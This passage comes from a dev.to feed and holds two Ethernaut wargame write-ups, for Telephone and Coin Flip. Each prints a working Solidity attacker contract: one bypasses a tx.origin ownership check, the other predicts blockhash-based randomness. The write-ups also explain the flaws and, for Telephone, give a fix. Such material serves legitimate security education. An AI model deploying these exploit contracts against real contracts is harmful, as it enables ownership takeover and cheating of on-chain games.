&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight solidity"&gt;&lt;code&gt;&lt;span class="c1"&gt;// SPDX-License-Identifier: MIT
&lt;/span&gt;&lt;span class="k"&gt;pragma&lt;/span&gt; &lt;span class="n"&gt;solidity&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt;&lt;span class="mf"&gt;0.8&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;contract&lt;/span&gt; &lt;span class="n"&gt;Telephone&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;

  &lt;span class="kt"&gt;address&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="n"&gt;owner&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

  &lt;span class="k"&gt;constructor&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;owner&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sender&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;changeOwner&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;address&lt;/span&gt; &lt;span class="n"&gt;_owner&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;tx&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;origin&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sender&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="n"&gt;owner&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;_owner&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Contract overview 🔎
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;Telephone.sol&lt;/code&gt; is a basic contract, at creation time the &lt;code&gt;constructor&lt;/code&gt; sets the &lt;code&gt;owner&lt;/code&gt; as the deployer of the contract.&lt;/p&gt;

&lt;p&gt;The contract has a &lt;code&gt;changeOwner&lt;/code&gt; function that takes &lt;code&gt;address owner&lt;/code&gt; as a parameter to set a new owner of the contract. &lt;/p&gt;

&lt;p&gt;To prevent unauthorized accounts from transfering the ownership of the contract, the following safeguard is implemented to protect the function:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight solidity"&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;tx&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;origin&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sender&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="n"&gt;owner&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;_owner&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is done to ensure only the &lt;code&gt;owner&lt;/code&gt; can transfer ownership.&lt;/p&gt;

&lt;p&gt;If we try to call &lt;code&gt;changeOwner&lt;/code&gt; with our address, this transaction will not revert but the owner of the contract will remain the same because &lt;code&gt;tx.origin&lt;/code&gt; and &lt;code&gt;msg.sender&lt;/code&gt; are both our address.&lt;/p&gt;

&lt;h2&gt;
  
  
  Who are &lt;code&gt;tx.origin&lt;/code&gt; and &lt;code&gt;msg.sender&lt;/code&gt;? 📞☎️
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;tx.origin&lt;/code&gt; and &lt;code&gt;msg.sender&lt;/code&gt; are built-in global variables from the language.&lt;/p&gt;

&lt;p&gt;These variables can de defined as such:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;tx.origin&lt;/code&gt;: is the address of the Externally Owned Account (EOA) that originally sent the transaction. It can only be an account that know its private key.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;msg.sender&lt;/code&gt;: is the direct sender of the message, it can be an EOA or a contract.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Let's review the following basic call chain:&lt;/p&gt;

&lt;p&gt;EOA ---&amp;gt; contract A ---&amp;gt; contract B&lt;/p&gt;

&lt;p&gt;In this transaction an EOA initiated a transaction to call a function in A that calls a function in B. &lt;/p&gt;

&lt;p&gt;Therefore:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;In A: &lt;code&gt;tx.origin&lt;/code&gt; == &lt;code&gt;msg.sender&lt;/code&gt; == EOA.&lt;/li&gt;
&lt;li&gt;In B: &lt;code&gt;tx.origin&lt;/code&gt; == EOA but &lt;code&gt;msg.sender&lt;/code&gt; == contract A.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Claiming ownership of &lt;code&gt;Telephone.sol&lt;/code&gt; 👸🤴
&lt;/h2&gt;

&lt;p&gt;After my brief explanation we can see that all we need to bypass the safeguard is an intermediate contract to call &lt;code&gt;changeOwner&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Go to Remix and create a file with the following code:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight solidity"&gt;&lt;code&gt;&lt;span class="k"&gt;interface&lt;/span&gt; &lt;span class="n"&gt;ITelephone&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;changeOwner&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;address&lt;/span&gt; &lt;span class="n"&gt;_owner&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;external&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;contract&lt;/span&gt; &lt;span class="n"&gt;Attacker&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;attack&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;address&lt;/span&gt; &lt;span class="n"&gt;_victim&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;external&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;ITelephone&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_victim&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="n"&gt;changeOwner&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sender&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;Attacker&lt;/code&gt; has a single &lt;code&gt;attack&lt;/code&gt; function that calls the &lt;code&gt;changeOwner&lt;/code&gt; function from &lt;code&gt;Telephone&lt;/code&gt; with our address passed as &lt;code&gt;msg.sender&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Ok, let's do this -- get a new instance of &lt;code&gt;Telephone&lt;/code&gt; from the game contract and grab the address.&lt;/p&gt;

&lt;p&gt;Deploy &lt;code&gt;Attacker&lt;/code&gt; and call &lt;code&gt;attack&lt;/code&gt; with the address of &lt;code&gt;Telephone&lt;/code&gt; as the parameter.&lt;/p&gt;

&lt;p&gt;After the transaction is mined, in your developer tools check who owns the contract:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight solidity"&gt;&lt;code&gt;&lt;span class="n"&gt;await&lt;/span&gt; &lt;span class="k"&gt;contract&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;owner&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="c1"&gt;// it should return your address
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Conclusion ⭐️
&lt;/h2&gt;

&lt;p&gt;Using &lt;code&gt;tx.origin&lt;/code&gt; for authorization proved to be a poor defense mechanism, it only takes a intermediate contract to bypass it. A better solution would've been checking &lt;code&gt;msg.sender&lt;/code&gt; against the &lt;code&gt;owner&lt;/code&gt; of the contract, making sure only the owner can set a new owner:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight solidity"&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;owner&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sender&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="n"&gt;owner&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;_owner&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Further reading 📕📗
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Solidity docs: &lt;a href="https://docs.soliditylang.org/en/latest/units-and-global-variables.html#special-variables-and-functions"&gt;Special Variables and Functions&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Solidity docs: &lt;a href="https://docs.soliditylang.org/en/latest/security-considerations.html#tx-origin"&gt;Security considerations&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href="https://ethereum.stackexchange.com/questions/196/how-do-i-make-my-dapp-serenity-proof/200#200"&gt;How do I make my DAPP "Serenity-Proof?"&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://consensys.github.io/smart-contract-best-practices/development-recommendations/solidity-specific/tx-origin/"&gt;Ethereum Smart Contract Best Practices&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>security</category>
      <category>ethereum</category>
      <category>solidity</category>
      <category>tutorial</category>
    </item>
    <item>
      <title>Ethernaut - Lvl 3: Coin Flip</title>
      <dc:creator>pacelliv</dc:creator>
      <pubDate>Tue, 30 May 2023 15:14:45 +0000</pubDate>
      <link>https://dev.to/pacelliv/ethernaut-lvl-3-coin-flip-4f3l</link>
      <guid>https://dev.to/pacelliv/ethernaut-lvl-3-coin-flip-4f3l</guid>
      <description>&lt;h6&gt;
  
  
  &lt;em&gt;Requirements: Remix IDE, basic understanding of how randomness works in a public blockchain.&lt;/em&gt;
&lt;/h6&gt;

&lt;h2&gt;
  
  
  How Ethereum generates &lt;em&gt;randomness&lt;/em&gt;? 🤔🤯
&lt;/h2&gt;

&lt;p&gt;Developers create pseudo-randomess by hashing a few built-in global variables in Solidity that are unique or difficult to tamper with. A few examples of these variables are: &lt;code&gt;block.number&lt;/code&gt;, &lt;code&gt;blockhash&lt;/code&gt; and &lt;code&gt;block.difficulty&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Currently, Ethereum offers the &lt;code&gt;KECCAK256&lt;/code&gt; hash function. Devs used it to hash the concatenated string of these variables.&lt;/p&gt;

&lt;p&gt;After the variables are hashed, they are turned into a large integer and then are mod'ed by a factor &lt;em&gt;n&lt;/em&gt;. This is done to get a discrete set range of probability integers in the desired range of 0 to n.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;In &lt;code&gt;CoinFlip&lt;/code&gt; n=2 to represent the two sides of the coin.&lt;/em&gt; &lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--mHU494x---/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/tj2dbwdx1dfiike666ag.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--mHU494x---/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/tj2dbwdx1dfiike666ag.png" alt="Examples of hashed variables to create pseudo-randomness in Ethereum" width="800" height="220"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;This methodology of deriving pseudo-randomness makes smart contracts vulnerable to attacks because all the necessary inputs required by attackers are public.&lt;/strong&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  The Challenge 🏊‍♀️🏊
&lt;/h2&gt;

&lt;p&gt;Accumulate 10 straight wins given the following game:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight solidity"&gt;&lt;code&gt;&lt;span class="c1"&gt;// SPDX-License-Identifier: MIT
&lt;/span&gt;&lt;span class="k"&gt;pragma&lt;/span&gt; &lt;span class="n"&gt;solidity&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt;&lt;span class="mf"&gt;0.8&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;contract&lt;/span&gt; &lt;span class="n"&gt;CoinFlip&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;

  &lt;span class="kt"&gt;uint256&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="n"&gt;consecutiveWins&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="kt"&gt;uint256&lt;/span&gt; &lt;span class="n"&gt;lastHash&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="kt"&gt;uint256&lt;/span&gt; &lt;span class="n"&gt;FACTOR&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;57896044618658097711785492504343953926634992332820282019728792003956564819968&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

  &lt;span class="k"&gt;constructor&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;consecutiveWins&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;flip&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;bool&lt;/span&gt; &lt;span class="n"&gt;_guess&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;returns&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;bool&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kt"&gt;uint256&lt;/span&gt; &lt;span class="n"&gt;blockValue&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kt"&gt;uint256&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;blockhash&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;block&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;number&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;lastHash&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;blockValue&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="nb"&gt;revert&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="n"&gt;lastHash&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;blockValue&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="kt"&gt;uint256&lt;/span&gt; &lt;span class="n"&gt;coinFlip&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;blockValue&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="n"&gt;FACTOR&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="kt"&gt;bool&lt;/span&gt; &lt;span class="n"&gt;side&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;coinFlip&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="o"&gt;?&lt;/span&gt; &lt;span class="nb"&gt;true&lt;/span&gt; &lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;side&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;_guess&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="n"&gt;consecutiveWins&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
      &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nb"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="n"&gt;consecutiveWins&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
      &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nb"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Studying the contract 👨‍🏫👩‍🏫
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;CoinFlip.sol&lt;/code&gt; is a basic guessing game. Players have to call &lt;code&gt;flip&lt;/code&gt; with their guess. If the guess was right, the player wins and their wins are accumulated and tracked in the &lt;code&gt;consecutiveWins&lt;/code&gt; state variable.&lt;/p&gt;

&lt;p&gt;To create a random number generator (RNG) the game implements &lt;code&gt;blockhash(block.number - 1)&lt;/code&gt; as a source of randomness.&lt;/p&gt;

&lt;p&gt;To prevent an attacker from using a loop to beat the game in one contract call the game implements this safeguard:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight solidity"&gt;&lt;code&gt;&lt;span class="c1"&gt;// The tx will throw if you try a loop because 
// `block.number` will be the same
&lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;lastHash&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;blockValue&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nb"&gt;revert&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Breaking the game 😈
&lt;/h2&gt;

&lt;p&gt;After a deeper inspection we can find the following vulnerabilities:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;blockhash&lt;/code&gt; and &lt;code&gt;block.number&lt;/code&gt; are known by us, so we can use them to acurately guess the side of the coin.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The code is public. We can easily read and replicate the computation of the pseudo-randomness in an &lt;code&gt;Attacker&lt;/code&gt; contract to anticipate the result.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Go to &lt;a href="https://remix.ethereum.org/"&gt;Remix IDE&lt;/a&gt;, create a new file titled &lt;code&gt;Attacker.sol&lt;/code&gt; and fill it with the following content:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight solidity"&gt;&lt;code&gt;&lt;span class="k"&gt;interface&lt;/span&gt; &lt;span class="n"&gt;ICoinFlip&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;flip&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;bool&lt;/span&gt; &lt;span class="n"&gt;_guess&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;external&lt;/span&gt; &lt;span class="k"&gt;returns&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;bool&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;contract&lt;/span&gt; &lt;span class="n"&gt;Attacker&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kt"&gt;uint256&lt;/span&gt; &lt;span class="n"&gt;FACTOR&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;57896044618658097711785492504343953926634992332820282019728792003956564819968&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;attackCoinFlip&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;address&lt;/span&gt; &lt;span class="n"&gt;_victim&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;external&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="kt"&gt;uint256&lt;/span&gt; &lt;span class="n"&gt;blockValue&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kt"&gt;uint256&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;blockhash&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;block&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;number&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;

        &lt;span class="kt"&gt;uint256&lt;/span&gt; &lt;span class="n"&gt;flip&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;blockValue&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="n"&gt;FACTOR&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="kt"&gt;bool&lt;/span&gt; &lt;span class="n"&gt;guess&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;flip&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="o"&gt;?&lt;/span&gt; &lt;span class="nb"&gt;true&lt;/span&gt; &lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

        &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;guess&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="c1"&gt;// if I was correct submit my guess
&lt;/span&gt;            &lt;span class="n"&gt;ICoinFlip&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_victim&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="n"&gt;flip&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;guess&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The interface &lt;code&gt;ICoinFlip&lt;/code&gt; contains the target &lt;code&gt;flip&lt;/code&gt; function we are going to exploit from our attacker contract.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;Attacker.sol&lt;/code&gt; is a basic contract that implements the same randomness computation from &lt;code&gt;CoinFlip&lt;/code&gt; in order to anticipate the result. To cheat the game we will compute our guess and only call &lt;code&gt;flip&lt;/code&gt; if our guess is correct in that way &lt;code&gt;consecutiveWins&lt;/code&gt; will not be reset to zero.&lt;/p&gt;

&lt;p&gt;OK! now we are ready to exploit this game. 🧨&lt;/p&gt;

&lt;p&gt;Request a new instance of &lt;code&gt;CoinFlip&lt;/code&gt; to the main contract game, after the transaction is mined copy the address of the newly created instance.&lt;/p&gt;

&lt;p&gt;Go Remix and deploy &lt;code&gt;Attacker&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;After the contract is deployed, call &lt;code&gt;flip&lt;/code&gt; with the address of &lt;code&gt;CoinFlip&lt;/code&gt; as a parameter. After the transaction is completed, in your dev tools check &lt;code&gt;consecutiveWins&lt;/code&gt;, luckily you will have one win, if not, just keep calling the function and checking the variable until you accumulate the goal of &lt;code&gt;10&lt;/code&gt; wins.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight solidity"&gt;&lt;code&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;await&lt;/span&gt; &lt;span class="k"&gt;contract&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;consecutiveWins&lt;/span&gt;&lt;span class="p"&gt;()).&lt;/span&gt;&lt;span class="n"&gt;toString&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Uf! it took me 31 calls, I really hope it was quicker for you.&lt;/p&gt;

&lt;p&gt;If you followed me, congratulations you just hacked &lt;code&gt;CoinFlip&lt;/code&gt;!&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion 🧑‍🎓
&lt;/h2&gt;

&lt;p&gt;Blockchains are public and deterministic networks, &lt;strong&gt;in them there is no such thing as a true source of randomness&lt;/strong&gt;. Using validators/miners defined values like the hash of the previous block, means that the random number is not actually random because is already &lt;strong&gt;known&lt;/strong&gt; by the entire network. &lt;/p&gt;

&lt;p&gt;Validators and miners can manipulate these values because they are the first ones to see the hash of a block and they may decide to throw out a block in which the targeted &lt;code&gt;blockhash&lt;/code&gt; won't produced the desired outcome in your game.&lt;/p&gt;

